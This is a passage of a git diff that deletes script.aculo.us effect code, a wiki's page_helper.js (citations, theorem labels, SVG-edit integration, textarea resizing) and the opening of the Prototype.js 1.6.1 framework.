-        effect.element.hide().undoClipping().setStyle(oldStyle);
-      } });
-  }}, arguments[1] || { }));
-};
-
-Effect.Morph = Class.create(Effect.Base, {
-  initialize: function(element) {
-    this.element = $(element);
-    if (!this.element) throw(Effect._elementDoesNotExistError);
-    var options = Object.extend({
-      style: { }
-    }, arguments[1] || { });
-
-    if (!Object.isString(options.style)) this.style = $H(options.style);
-    else {
-      if (options.style.include(':'))
-        this.style = options.style.parseStyle();
-      else {
-        this.element.addClassName(options.style);
-        this.style = $H(this.element.getStyles());
-        this.element.removeClassName(options.style);
-        var css = this.element.getStyles();
-        this.style = this.style.reject(function(style) {
-          return style.value == css[style.key];
-        });
-        options.afterFinishInternal = function(effect) {
-          effect.element.addClassName(effect.options.style);
-          effect.transforms.each(function(transform) {
-            effect.element.style[transform.style] = '';
-          });
-        };
-      }
-    }
-    this.start(options);
-  },
-
-  setup: function(){
-    function parseColor(color){
-      if (!color || ['rgba(0, 0, 0, 0)','transparent'].include(color)) color = '#ffffff';
-      color = color.parseColor();
-      return $R(0,2).map(function(i){
-        return parseInt( color.slice(i*2+1,i*2+3), 16 );
-      });
-    }
-    this.transforms = this.style.map(function(pair){
-      var property = pair[0], value = pair[1], unit = null;
-
-      if (value.parseColor('#zzzzzz') != '#zzzzzz') {
-        value = value.parseColor();
-        unit  = 'color';
-      } else if (property == 'opacity') {
-        value = parseFloat(value);
-        if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
-          this.element.setStyle({zoom: 1});
-      } else if (Element.CSS_LENGTH.test(value)) {
-          var components = value.match(/^([\+\-]?[0-9\.]+)(.*)$/);
-          value = parseFloat(components[1]);
-          unit = (components.length == 3) ? components[2] : null;
-      }
-
-      var originalValue = this.element.getStyle(property);
-      return {
-        style: property.camelize(),
-        originalValue: unit=='color' ? parseColor(originalValue) : parseFloat(originalValue || 0),
-        targetValue: unit=='color' ? parseColor(value) : value,
-        unit: unit
-      };
-    }.bind(this)).reject(function(transform){
-      return (
-        (transform.originalValue == transform.targetValue) ||
-        (
-          transform.unit != 'color' &&
-          (isNaN(transform.originalValue) || isNaN(transform.targetValue))
-        )
-      );
-    });
-  },
-  update: function(position) {
-    var style = { }, transform, i = this.transforms.length;
-    while(i--)
-      style[(transform = this.transforms[i]).style] =
-        transform.unit=='color' ? '#'+
-          (Math.round(transform.originalValue[0]+
-            (transform.targetValue[0]-transform.originalValue[0])*position)).toColorPart() +
-          (Math.round(transform.originalValue[1]+
-            (transform.targetValue[1]-transform.originalValue[1])*position)).toColorPart() +
-          (Math.round(transform.originalValue[2]+
-            (transform.targetValue[2]-transform.originalValue[2])*position)).toColorPart() :
-        (transform.originalValue +
-          (transform.targetValue - transform.originalValue) * position).toFixed(3) +
-            (transform.unit === null ? '' : transform.unit);
-    this.element.setStyle(style, true);
-  }
-});
-
-Effect.Transform = Class.create({
-  initialize: function(tracks){
-    this.tracks  = [];
-    this.options = arguments[1] || { };
-    this.addTracks(tracks);
-  },
-  addTracks: function(tracks){
-    tracks.each(function(track){
-      track = $H(track);
-      var data = track.values().first();
-      this.tracks.push($H({
-        ids:     track.keys().first(),
-        effect:  Effect.Morph,
-        options: { style: data }
-      }));
-    }.bind(this));
-    return this;
-  },
-  play: function(){
-    return new Effect.Parallel(
-      this.tracks.map(function(track){
-        var ids = track.get('ids'), effect = track.get('effect'), options = track.get('options');
-        var elements = [$(ids) || $$(ids)].flatten();
-        return elements.map(function(e){ return new effect(e, Object.extend({ sync:true }, options)) });
-      }).flatten(),
-      this.options
-    );
-  }
-});
-
-Element.CSS_PROPERTIES = $w(
-  'backgroundColor backgroundPosition borderBottomColor borderBottomStyle ' +
-  'borderBottomWidth borderLeftColor borderLeftStyle borderLeftWidth ' +
-  'borderRightColor borderRightStyle borderRightWidth borderSpacing ' +
-  'borderTopColor borderTopStyle borderTopWidth bottom clip color ' +
-  'fontSize fontWeight height left letterSpacing lineHeight ' +
-  'marginBottom marginLeft marginRight marginTop markerOffset maxHeight '+
-  'maxWidth minHeight minWidth opacity outlineColor outlineOffset ' +
-  'outlineWidth paddingBottom paddingLeft paddingRight paddingTop ' +
-  'right textIndent top width wordSpacing zIndex');
-
-Element.CSS_LENGTH = /^(([\+\-]?[0-9\.]+)(em|ex|px|in|cm|mm|pt|pc|\%))|0$/;
-
-String.__parseStyleElement = document.createElement('div');
-String.prototype.parseStyle = function(){
-  var style, styleRules = $H();
-  if (Prototype.Browser.WebKit)
-    style = new Element('div',{style:this}).style;
-  else {
-    String.__parseStyleElement.innerHTML = '<div style="' + this + '"></div>';
-    style = String.__parseStyleElement.childNodes[0].style;
-  }
-
-  Element.CSS_PROPERTIES.each(function(property){
-    if (style[property]) styleRules.set(property, style[property]);
-  });
-
-  if (Prototype.Browser.IE && this.include('opacity'))
-    styleRules.set('opacity', this.match(/opacity:\s*((?:0|1)?(?:\.\d*)?)/)[1]);
-
-  return styleRules;
-};
-
-if (document.defaultView && document.defaultView.getComputedStyle) {
-  Element.getStyles = function(element) {
-    var css = document.defaultView.getComputedStyle($(element), null);
-    return Element.CSS_PROPERTIES.inject({ }, function(styles, property) {
-      styles[property] = css[property];
-      return styles;
-    });
-  };
-} else {
-  Element.getStyles = function(element) {
-    element = $(element);
-    var css = element.currentStyle, styles;
-    styles = Element.CSS_PROPERTIES.inject({ }, function(results, property) {
-      results[property] = css[property];
-      return results;
-    });
-    if (!styles.opacity) styles.opacity = element.getOpacity();
-    return styles;
-  };
-}
-
-Effect.Methods = {
-  morph: function(element, style) {
-    element = $(element);
-    new Effect.Morph(element, Object.extend({ style: style }, arguments[2] || { }));
-    return element;
-  },
-  visualEffect: function(element, effect, options) {
-    element = $(element);
-    var s = effect.dasherize().camelize(), klass = s.charAt(0).toUpperCase() + s.substring(1);
-    new Effect[klass](element, options);
-    return element;
-  },
-  highlight: function(element, options) {
-    element = $(element);
-    new Effect.Highlight(element, options);
-    return element;
-  }
-};
-
-$w('fade appear grow shrink fold blindUp blindDown slideUp slideDown '+
-  'pulsate shake puff squish switchOff dropOut').each(
-  function(effect) {
-    Effect.Methods[effect] = function(element, options){
-      element = $(element);
-      Effect[effect.charAt(0).toUpperCase() + effect.substring(1)](element, options);
-      return element;
-    };
-  }
-);
-
-$w('getInlineOpacity forceRerendering setContentZoom collectTextNodes collectTextNodesIgnoreClass getStyles').each(
-  function(f) { Effect.Methods[f] = Element[f]; }
-);
-
-Element.addMethods(Effect.Methods);
\ No newline at end of file
diff --git a/public/javascripts/page_helper.js b/public/javascripts/page_helper.js
deleted file mode 100644
index d5ca56f5..00000000
--- a/public/javascripts/page_helper.js
+++ /dev/null
@@ -1,230 +0,0 @@
-/*
-* Based on Simon Willison's blockquotes.js
-*   http://simon.incutio.com/archive/2002/12/20/#blockquoteCitations
-*/
-function extractBlockquoteCitations() {
-  var quotes = document.getElementsByTagName('blockquote');
-  for (i = 0; i < quotes.length; i++) {
-    var cite = quotes[i].getAttribute('cite');
-    if (cite && cite != '') {
-      var newlink = document.createElement('a');
-      newlink.setAttribute('href', cite);
-      newlink.setAttribute('title', cite);
-      newlink.appendChild(document.createTextNode('#'));
-      var newspan = document.createElement('span');
-      newspan.setAttribute('class','blockquotesource');
-      newspan.appendChild(newlink);
-      quotes[i].lastChild.previousSibling.appendChild(newspan);
-    }
-  }
-}
-
-function fixRunIn() {
-// work around lack of gecko support for display:run-in
-  var re = /^num_|\s+num_|^un_|\s+un_|proof/;
-  $$('div > h6').each(function(element) {
-    next_p = element.next('p');
-    if(re.test($(element.parentNode).className)) {
-      var new_span = new Element('span').update(element.textContent);
-      new_span.addClassName('theorem_label');
-      var period = new Element('span').update('. ');
-      if (next_p) {
-        var next_el = next_p.firstChild;
-        next_p.insertBefore(new_span, next_el);
-        next_p.insertBefore(period, next_el);
-        element.remove();
-      } else {
-        var p = new Element('p').update(new_span);
-        p.appendChild(period);       
-        element.replace(p);
-      }
-    } 
-  });
-// add tombstone to proof, since gecko doesn't support :last-child properly
- $$('div.proof').each(function(element) {
-     var el = element.childElements()[element.childElements().length-1];
-     var span = new Element('span').update('\u00a0\u00a0\u25ae');
-     if (el.match('p')) {
-       el.insert(span);
-     } else {
-       var par = new Element('p').update(span);
-       par.addClassName('tombstone');
-       element.appendChild(par);
-     }
-    });
-}
-
-function mactionWorkarounds() {
-  $$('maction[actiontype="tooltip"]').each( function(mtool){
-     Element.writeAttribute(mtool, 'title',
-       Element.firstDescendant(mtool).nextSibling.firstChild.data);
-     });
-  $$('maction[actiontype="statusline"]').each( function(mstatus){
-     var v = Element.firstDescendant(mstatus).nextSibling.firstChild.data;
-     Event.observe(mstatus, 'mouseover', function(){window.status =  v;});
-     Event.observe(mstatus, 'mouseout',  function(){window.status = '';});
-     });
-}
-
-function addS5button(page_name) {
-  var f = $('MarkupHelp');
-  if (f) {
-    var s5button = new Element('input', {id:'S5button', type:'button', value: 'Make this page an S5 slideshow'});
-    f.insert({top: s5button});
-    Event.observe(s5button, 'click', function(){
-      var preamble = "author: " + document.getElementById('author').value +
-        "\ncompany: \ntitle: " + page_name +
-        "\nsubtitle: \nslide_theme: default\nslide_footer: \nslide_subfooter: " +
-        "\n\n:category: S5-slideshow\n\n" + page_name +
-        "\n==============\n\nMy First Slide\n-----------------\n\n";
-      var content = document.getElementById('content');
-      content.value = preamble + content.value;
-      document.getElementById('S5button').hide();
-    });
-  }
-}
-
-function setupSVGedit(path){
-  var f = $('MarkupHelp');
-  var selected;
-  var before;
-  var after;
-// create a control button
-  if (f) {
-    var SVGeditButton = new Element('input', {id:'SVGeditButton', type:'button', value: 'Create an SVG graphic'});
-    f.insert({top: SVGeditButton});
-    SVGeditButton.disabled = true;
-    Event.observe(SVGeditButton, 'click', function(){
-      var editor = window.open(path + "?initStroke[width]=2", 'Edit SVG graphic', 'status=1,resizable=1,scrollbars=1');
-      editor.addEventListener("load", function() {
-        editor.svgEditor.setCustomHandlers({
-            'save': function(window,svg){
-               editor.svgEditor.setConfig({no_save_warning: true});
-               window.opener.postMessage(svg, window.location.protocol + '//' + window.location.host);
-               window.close();
-            }
-        });
-        editor.svgEditor.randomizeIds();
-        if (selected) editor.svgEditor.loadFromString(selected);
-      }, true);
-      SVGeditButton.disabled = true;
-      SVGeditButton.value = 'Create SVG graphic';      
-      editor.focus();
-    });
-  }   
-  var t = $('content');
-  
-  var callback = function(){
-// This is triggered by 'onmouseup' events
-    var sel = window.getSelection();
-    var a = sel.anchorOffset;
-    var f = sel.focusOffset;
-// A bit of ugliness, because Gecko-based browsers
-// don't support getSelection in textareas
-    if (t.selectionStart ) {
-      var begin = t.selectionStart;
-      var end = t.selectionEnd;
-    } else {
-      if( a < f) {
-        begin = a;
-        end = f;
-      } else {
-        begin = f;
-        end = a;
-      }
-    }
-// finally, slice up the textarea content into before, selected, & after pieces
-    before = t.value.slice(0, begin);
-    selected = t.value.slice(begin, end);
-    after = t.value.slice(end, t.value.length);
-    if (selected && selected != '') {
-      if ( selected.match(/^<svg(.|\n)*<\/svg>$/) && !selected.match(/<\/svg>(.|\n)/)) {
-        SVGeditButton.disabled = false;
-        SVGeditButton.value = 'Edit existing SVG graphic';
-      } else {
-        SVGeditButton.disabled = true;
-      }
-    } else {
-      SVGeditButton.disabled = false;
-      SVGeditButton.value = 'Create SVG graphic';      
-    }
-  }
-  Event.observe(t, 'mouseup', callback );
-  var my_loc = window.location.protocol + '//' + window.location.host;
-  Event.observe(window, "message", function(event){
-    if(event.origin !== my_loc) { return;}
-    t.value = before + event.data + after;
-    t.focus();
-    selectRange(t, before.length, before.length+event.data.length);
-    callback();      
-  });  
-}
-
-function selectRange(elt, start, end) { 
- if (elt.setSelectionRange) { 
-  elt.focus(); 
-  elt.setSelectionRange(start, end); 
- } else if (elt.createTextRange) { 
-  var range = elt.createTextRange(); 
-  range.collapse(true); 
-  range.moveEnd('character', end); 
-  range.moveStart('character', start); 
-  range.select(); 
- } 
-}
-
-function updateSize(elt, w, h) {
-   // adjust to the size of the user's browser area.
-   // w and h are the original, unadjusted, width and height per row/column
-    var parentheight = document.viewport.getHeight() - $('pageName').getHeight() 
-                  - $('editFormButtons').getHeight() - $('hidebutton').getHeight();
-    var parentwidth = $('Content').getWidth();
-    var f = $('MarkupHelp');
-    if (f.visible()) { parentwidth = parentwidth - f.getWidth() - 20 }
-    var changename = $('alter_title');
-    if (changename) {
-      parentheight = parentheight - changename.parentNode.getHeight()-2*h;
-    }
-    elt.writeAttribute({'cols': Math.floor(parentwidth/w)  - 1,
-                        'rows': Math.floor(parentheight/h) - 4 });
-    elt.setStyle({Width: parentwidth, Height: parentheight});
-}
-
-function resizeableTextarea() {
-//make the textarea resize to fit available space
-  var f = $('MarkupHelp');
-  if (f) {
-    var hidebutton = new Element('input', {id:'hidebutton', type:'button', value: 'Hide markup help'});
-    f.insert({before: hidebutton});
-  }
-  $$('textarea#content').each( function(textarea)  {
-    var w = textarea.getWidth()/textarea.getAttribute('cols');
-    var h = textarea.getStyle('lineHeight').replace(/(\d*)px/, "$1");
-    var changename = $('alter_title');
-    if (changename) {
-      Event.observe(changename.parentNode, 'change', function() {
-        updateSize(textarea, w, h);
-      });
-    }
-    Event.observe(hidebutton, 'click', function(){
-      if (f.visible()) {
-        f.hide();
-        hidebutton.writeAttribute({value: 'Show markup help'});
-        updateSize(textarea, w, h)
-      } else {
-        f.show();
-        hidebutton.writeAttribute({value: 'Hide markup help'});  
-        updateSize(textarea, w, h)    
-      }
-    });
-    Event.observe(window, 'resize', function(){ updateSize(textarea, w, h) });
-    updateSize(textarea, w, h);
-   });
-}
-
-window.onload = function (){
-        extractBlockquoteCitations();
-        fixRunIn();
-        mactionWorkarounds();
-        resizeableTextarea();
-};
diff --git a/public/javascripts/prototype.js b/public/javascripts/prototype.js
index 9fe6e124..62bbc98e 100644
--- a/public/javascripts/prototype.js
+++ b/public/javascripts/prototype.js
@@ -1,4874 +1,336 @@
-/*  Prototype JavaScript framework, version 1.6.1
- *  (c) 2005-2009 Sam Stephenson
- *
- *  Prototype is freely distributable under the terms of an MIT-style license.
- *  For details, see the Prototype web site: http://www.prototypejs.org/
- *
- *--------------------------------------------------------------------------*/
-
-var Prototype = {
-  Version: '1.6.1',
-
-  Browser: (function(){
-    var ua = navigator.userAgent;
-    var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';
-    return {
-      IE:             !!window.attachEvent && !isOpera,
-      Opera:          isOpera,
-      WebKit:         ua.indexOf('AppleWebKit/') > -1,
-      Gecko:          ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,
-      MobileSafari:   /Apple.*Mobile.*Safari/.test(ua)
-    }
-  })(),
-
-  BrowserFeatures: {
-    XPath: !!document.evaluate,
-    SelectorsAPI: !!document.querySelector,
-    ElementExtensions: (function() {
-      var constructor = window.Element || window.HTMLElement;
-      return !!(constructor && constructor.prototype);
-    })(),
-    SpecificElementExtensions: (function() {
-      if (typeof window.HTMLDivElement !== 'undefined')
-        return true;
-
-      var div = document.createElement('div');
-      var form = document.createElement('form');
-      var isSupported = false;
-
-      if (div['__proto__'] && (div['__proto__'] !== form['__proto__'])) {
-        isSupported = true;
-      }
-
-      div = form = null;
-
-      return isSupported;
-    })()
-  },
-
-  ScriptFragment: '<script[^>]*>([\\S\\s]*?)<\/script>',
-  JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/,
-
-  emptyFunction: function() { },
-  K: function(x) { return x }
-};
-
-if (Prototype.Browser.MobileSafari)
-  Prototype.BrowserFeatures.SpecificElementExtensions = false;
-
-
-var Abstract = { };
-
-
-var Try = {
-  these: function() {
-    var returnValue;
-
-    for (var i = 0, length = arguments.length; i < length; i++) {
-      var lambda = arguments[i];
-      try {
-        returnValue = lambda();
-        break;
-      } catch (e) { }
-    }
-
-    return returnValue;
-  }
-};
-
-/* Based on Alex Arnell's inheritance implementation. */
-
-var Class = (function() {
-  function subclass() {};
-  function create() {
-    var parent = null, properties = $A(arguments);
-    if (Object.isFunction(properties[0]))
-      parent = properties.shift();
-
-    function klass() {
-      this.initialize.apply(this, arguments);
-    }
-
-    Object.extend(klass, Class.Methods);
-    klass.superclass = parent;
-    klass.subclasses = [];
-
-    if (parent) {
-      subclass.prototype = parent.prototype;
-      klass.prototype = new subclass;
-      parent.subclasses.push(klass);
-    }
-
-    for (var i = 0; i < properties.length; i++)
-      klass.addMethods(properties[i]);
-
-    if (!klass.prototype.initialize)
-      klass.prototype.initialize = Prototype.emptyFunction;
-
-    klass.prototype.constructor = klass;
-    return klass;
-  }
-
-  function addMethods(source) {
-    var ancestor   = this.superclass && this.superclass.prototype;
-    var properties = Object.keys(source);
-
-    if (!Object.keys({ toString: true }).length) {
-      if (source.toString != Object.prototype.toString)
-        properties.push("toString");
-      if (source.valueOf != Object.prototype.valueOf)
-        properties.push("valueOf");
-    }
-
-    for (var i = 0, length = properties.length; i < length; i++) {
-      var property = properties[i], value = source[property];
-      if (ancestor && Object.isFunction(value) &&
-          value.argumentNames().first() == "$super") {
-        var method = value;
-        value = (function(m) {
-          return function() { return ancestor[m].apply(this, arguments); };
-        })(property).wrap(method);
-
-        value.valueOf = method.valueOf.bind(method);
-        value.toString = method.toString.bind(method);
-      }
-      this.prototype[property] = value;
-    }
-
-    return this;
-  }
-
-  return {
-    create: create,
-    Methods: {
-      addMethods: addMethods
-    }
-  };
-})();
-(function() {
-
-  var _toString = Object.prototype.toString;
-
-  function extend(destination, source) {
-    for (var property in source)
-      destination[property] = source[property];
-    return destination;
-  }
-
-  function inspect(object) {
-    try {
-      if (isUndefined(object)) return 'undefined';
-      if (object === null) return 'null';
-      return object.inspect ? object.inspect() : String(object);
-    } catch (e) {
-      if (e instanceof RangeError) return '...';
-      throw e;
-    }
-  }
-
-  function toJSON(object) {
-    var type = typeof object;
-    switch (type) {
-      case 'undefined':
-      case 'function':
-      case 'unknown': return;
-      case 'boolean': return object.toString();
-    }
-
-    if (object === null) return 'null';
-    if (object.toJSON) return object.toJSON();
-    if (isElement(object)) return;
-
-    var results = [];
-    for (var property in object) {
-      var value = toJSON(object[property]);
-      if (!isUndefined(value))
-        results.push(property.toJSON() + ': ' + value);
-    }
-
-    return '{' + results.join(', ') + '}';
-  }
-
-  function toQueryString(object) {
-    return $H(object).toQueryString();
-  }
-
-  function toHTML(object) {
-    return object && object.toHTML ? object.toHTML() : String.interpret(object);
-  }
-
-  function keys(object) {
-    var results = [];
-    for (var property in object)
-      results.push(property);
-    return results;
-  }
-
-  function values(object) {
-    var results = [];
-    for (var property in object)
-      results.push(object[property]);
-    return results;
-  }
-
-  function clone(object) {
-    return extend({ }, object);
-  }
-
-  function isElement(object) {
-    return !!(object && object.nodeType == 1);
-  }
-
-  function isArray(object) {
-    return _toString.call(object) == "[object Array]";
-  }
-
-
-  function isHash(object) {
-    return object instanceof Hash;
-  }
-
-  function isFunction(object) {
-    return typeof object === "function";
-  }
-
-  function isString(object) {
-    return _toString.call(object) == "[object String]";
-  }
-
-  function isNumber(object) {
-    return _toString.call(object) == "[object Number]";
-  }
-
-  function isUndefined(object) {
-    return typeof object === "undefined";
-  }
-
-  extend(Object, {
-    extend:        extend,
-    inspect:       inspect,
-    toJSON:        toJSON,
-    toQueryString: toQueryString,
-    toHTML:        toHTML,
-    keys:          keys,
-    values:        values,
-    clone:         clone,
-    isElement:     isElement,
-    isArray:       isArray,
-    isHash:        isHash,
-    isFunction:    isFunction,
-    isString:      isString,
-    isNumber:      isNumber,
-    isUndefined:   isUndefined
-  });
-})();
-Object.extend(Function.prototype, (function() {
-  var slice = Array.prototype.slice;
-
-  function update(array, args) {
-    var arrayLength = array.length, length = args.length;
-    while (length--) array[arrayLength + length] = args[length];
-    return array;
-  }
-
-  function merge(array, args) {
-    array = slice.call(array, 0);
-    return update(array, args);
-  }
-
-  function argumentNames() {
-    var names = this.toString().match(/^[\s\(]*function[^(]*\(([^)]*)\)/)[1]
-      .replace(/\/\/.*?[\r\n]|\/\*(?:.|[\r\n])*?\*\//g, '')
-      .replace(/\s+/g, '').split(',');
-    return names.length == 1 && !names[0] ? [] : names;
-  }
-
-  function bind(context) {
-    if (arguments.length < 2 && Object.isUndefined(arguments[0])) return this;
-    var __method = this, args = slice.call(arguments, 1);
-    return function() {
-      var a = merge(args, arguments);
-      return __method.apply(context, a);
-    }
-  }
-
-  function bindAsEventListener(context) {
-    var __method = this, args = slice.call(arguments, 1);
-    return function(event) {
-      var a = update([event || window.event], args);
-      return __method.apply(context, a);
-    }
-  }
-
-  function curry() {
-    if (!arguments.length) return this;
-    var __method = this, args = slice.call(arguments, 0);
-    return function() {
-      var a = merge(args, arguments);
-      return __method.apply(this, a);
-    }
-  }
-
-  function delay(timeout) {
-    var __method = this, args = slice.call(arguments, 1);
-    timeout = timeout * 1000
-    return window.setTimeout(function() {
-      return __method.apply(__method, args);
-    }, timeout);
-  }
-
-  function defer() {
-    var args = update([0.01], arguments);
-    return this.delay.apply(this, args);
-  }
-
-  function wrap(wrapper) {
-    var __method = this;
-    return function() {
-      var a = update([__method.bind(this)], arguments);
-      return wrapper.apply(this, a);
-    }
-  }
-
-  function methodize() {
-    if (this._methodized) return this._methodized;
-    var __method = this;
-    return this._methodized = function() {
-      var a = update([this], arguments);
-      return __method.apply(null, a);
-    };
-  }
-
-  return {
-    argumentNames:       argumentNames,
-    bind:                bind,
-    bindAsEventListener: bindAsEventListener,
-    curry:               curry,
-    delay:               delay,
-    defer:               defer,
-    wrap:                wrap,
-    methodize:           methodize
-  }
-})());
-
-
-Date.prototype.toJSON = function() {
-  return '"' + this.getUTCFullYear() + '-' +
-    (this.getUTCMonth() + 1).toPaddedString(2) + '-' +
-    this.getUTCDate().toPaddedString(2) + 'T' +
-    this.getUTCHours().toPaddedString(2) + ':' +
-    this.getUTCMinutes().toPaddedString(2) + ':' +
-    this.getUTCSeconds().toPaddedString(2) + 'Z"';
-};
-
-
-RegExp.prototype.match = RegExp.prototype.test;
-
-RegExp.escape = function(str) {
-  return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
-};
-var PeriodicalExecuter = Class.create({
-  initialize: function(callback, frequency) {
-    this.callback = callback;
-    this.frequency = frequency;
-    this.currentlyExecuting = false;
-
-    this.registerCallback();
-  },
-
-  registerCallback: function() {
-    this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
-  },
-
-  execute: function() {
-    this.callback(this);
-  },
-
-  stop: function() {
-    if (!this.timer) return;
-    clearInterval(this.timer);
-    this.timer = null;
-  },
-
-  onTimerEvent: function() {
-    if (!this.currentlyExecuting) {
-      try {
-        this.currentlyExecuting = true;
-        this.execute();
-        this.currentlyExecuting = false;
-      } catch(e) {
-        this.currentlyExecuting = false;
-        throw e;
-      }
-    }
-  }
-});
-Object.extend(String, {
-  interpret: function(value) {
-    return value == null ? '' : String(value);
-  },
-  specialChar: {
-    '\b': '\\b',
-    '\t': '\\t',
-    '\n': '\\n',
-    '\f': '\\f',
-    '\r': '\\r',
-    '\\': '\\\\'
-  }
-});
-
-Object.extend(String.prototype, (function() {
-
-  function prepareReplacement(replacement) {
-    if (Object.isFunction(replacement)) return replacement;
-    var template = new Template(replacement);
-    return function(match) { return template.evaluate(match) };
-  }
-
-  function gsub(pattern, replacement) {
-    var result = '', source = this, match;
-    replacement = prepareReplacement(replacement);
-
-    if (Object.isString(pattern))
-      pattern = RegExp.escape(pattern);
-
-    if (!(pattern.length || pattern.source)) {
-      replacement = replacement('');
-      return replacement + source.split('').join(replacement) + replacement;
-    }
-
-    while (source.length > 0) {
-      if (match = source.match(pattern)) {
-        result += source.slice(0, match.index);
-        result += String.interpret(replacement(match));
-        source  = source.slice(match.index + match[0].length);
-      } else {
-        result += source, source = '';
-      }
-    }
-    return result;
-  }
-
-  function sub(pattern, replacement, count) {
-    replacement = prepareReplacement(replacement);
-    count = Object.isUndefined(count) ? 1 : count;
-
-    return this.gsub(pattern, function(match) {
-      if (--count < 0) return match[0];
-      return replacement(match);
-    });
-  }
-
-  function scan(pattern, iterator) {
-    this.gsub(pattern, iterator);
-    return String(this);
-  }
-
-  function truncate(length, truncation) {
-    length = length || 30;
-    truncation = Object.isUndefined(truncation) ? '...' : truncation;
-    return this.length > length ?
-      this.slice(0, length - truncation.length) + truncation : String(this);
-  }
-
-  function strip() {
-    return this.replace(/^\s+/, '').replace(/\s+$/, '');
-  }
-
-  function stripTags() {
-    return this.replace(/<\w+(\s+("[^"]*"|'[^']*'|[^>])+)?>|<\/\w+>/gi, '');
-  }
-
-  function stripScripts() {
-    return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
-  }
-
-  function extractScripts() {
-    var matchAll = new RegExp(Prototype.ScriptFragment, 'img');
-    var matchOne = new RegExp(Prototype.ScriptFragment, 'im');
-    return (this.match(matchAll) || []).map(function(scriptTag) {
-      return (scriptTag.match(matchOne) || ['', ''])[1];
-    });
-  }
-
-  function evalScripts() {
-    return this.extractScripts().map(function(script) { return eval(script) });
-  }
-
-  function escapeHTML() {
-    return this.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');
-  }
-
-  function unescapeHTML() {
-    return this.stripTags().replace(/&lt;/g,'<').replace(/&gt;/g,'>').replace(/&amp;/g,'&');
-  }
-
-
-  function toQueryParams(separator) {
-    var match = this.strip().match(/([^?#]*)(#.*)?$/);
-    if (!match) return { };
-
-    return match[1].split(separator || '&').inject({ }, function(hash, pair) {
-      if ((pair = pair.split('='))[0]) {
-        var key = decodeURIComponent(pair.shift());
-        var value = pair.length > 1 ? pair.join('=') : pair[0];
-        if (value != undefined) value = decodeURIComponent(value);
-
-        if (key in hash) {
-          if (!Object.isArray(hash[key])) hash[key] = [hash[key]];
-          hash[key].push(value);
-        }
-        else hash[key] = value;
-      }
-      return hash;
-    });
-  }
-
-  function toArray() {
-    return this.split('');
-  }
-
-  function succ() {
-    return this.slice(0, this.length - 1) +
-      String.fromCharCode(this.charCodeAt(this.length - 1) + 1);
-  }
-
-  function times(count) {
-    return count < 1 ? '' : new Array(count + 1).join(this);
-  }
-
-  function camelize() {
-    var parts = this.split('-'), len = parts.length;
-    if (len == 1) return parts[0];
-
-    var camelized = this.charAt(0) == '-'
-      ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1)
-      : parts[0];
-
-    for (var i = 1; i < len; i++)
-      camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1);
-
-    return camelized;
-  }
-
-  function capitalize() {
-    return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
-  }
-
-  function underscore() {
-    return this.replace(/::/g, '/')
-               .replace(/([A-Z]+)([A-Z][a-z])/g, '$1_$2')
-               .replace(/([a-z\d])([A-Z])/g, '$1_$2')
-               .replace(/-/g, '_')
-               .toLowerCase();
-  }
-
-  function dasherize() {
-    return this.replace(/_/g, '-');
-  }
-
-  function inspect(useDoubleQuotes) {
-    var escapedString = this.replace(/[\x00-\x1f\\]/g, function(character) {
-      if (character in String.specialChar) {
-        return String.specialChar[character];
-      }
-      return '\\u00' + character.charCodeAt().toPaddedString(2, 16);
-    });
-    if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"';
-    return "'" + escapedString.replace(/'/g, '\\\'') + "'";
-  }
-
-  function toJSON() {
-    return this.inspect(true);
-  }
-
-  function unfilterJSON(filter) {
-    return this.replace(filter || Prototype.JSONFilter, '$1');
-  }
-
-  function isJSON() {
-    var str = this;
-    if (str.blank()) return false;
-    str = this.replace(/\\./g, '@').replace(/"[^"\\\n\r]*"/g, '');
-    return (/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/).test(str);
-  }
-
-  function evalJSON(sanitize) {
-    var json = this.unfilterJSON();
-    try {
-      if (!sanitize || json.isJSON()) return eval('(' + json + ')');
-    } catch (e) { }
-    throw new SyntaxError('Badly formed JSON string: ' + this.inspect());
-  }
-
-  function include(pattern) {
-    return this.indexOf(pattern) > -1;
-  }
-
-  function startsWith(pattern) {
-    return this.indexOf(pattern) === 0;
-  }
-
-  function endsWith(pattern) {
-    var d = this.length - pattern.length;
-    return d >= 0 && this.lastIndexOf(pattern) === d;
-  }
-
-  function empty() {
-    return this == '';
-  }
-
-  function blank() {
-    return /^\s*$/.test(this);
-  }
-
-  function interpolate(object, pattern) {
-    return new Template(this, pattern).evaluate(object);
-  }
-
-  return {
-    gsub:           gsub,
-    sub:            sub,
-    scan:           scan,
-    truncate:       truncate,
-    strip:          String.prototype.trim ? String.prototype.trim : strip,
-    stripTags:      stripTags,
-    stripScripts:   stripScripts,
-    extractScripts: extractScripts,
-    evalScripts:    evalScripts,
-    escapeHTML:     escapeHTML,
-    unescapeHTML:   unescapeHTML,
-    toQueryParams:  toQueryParams,
-    parseQuery:     toQueryParams,
-    toArray:        toArray,
-    succ:           succ,
-    times:          times,
-    camelize:       camelize,
-    capitalize:     capitalize,
-    underscore:     underscore,
-    dasherize:      dasherize,
-    inspect:        inspect,
-    toJSON:         toJSON,
-    unfilterJSON:   unfilterJSON,
-    isJSON:         isJSON,
-    evalJSON:       evalJSON,
-    include:        include,
-    startsWith:     startsWith,
-    endsWith:       endsWith,
-    empty:          empty,
-    blank:          blank,
-    interpolate:    interpolate
-  };
-})());
-
-var Template = Class.create({
-  initialize: function(template, pattern) {
-    this.template = template.toString();
-    this.pattern = pattern || Template.Pattern;
-  },
-
-  evaluate: function(object) {
-    if (object && Object.isFunction(object.toTemplateReplacements))
-      object = object.toTemplateReplacements();
-
-    return this.template.gsub(this.pattern, function(match) {
-      if (object == null) return (match[1] + '');
-
-      var before = match[1] || '';
-      if (before == '\\') return match[2];
-
-      var ctx = object, expr = match[3];
-      var pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/;
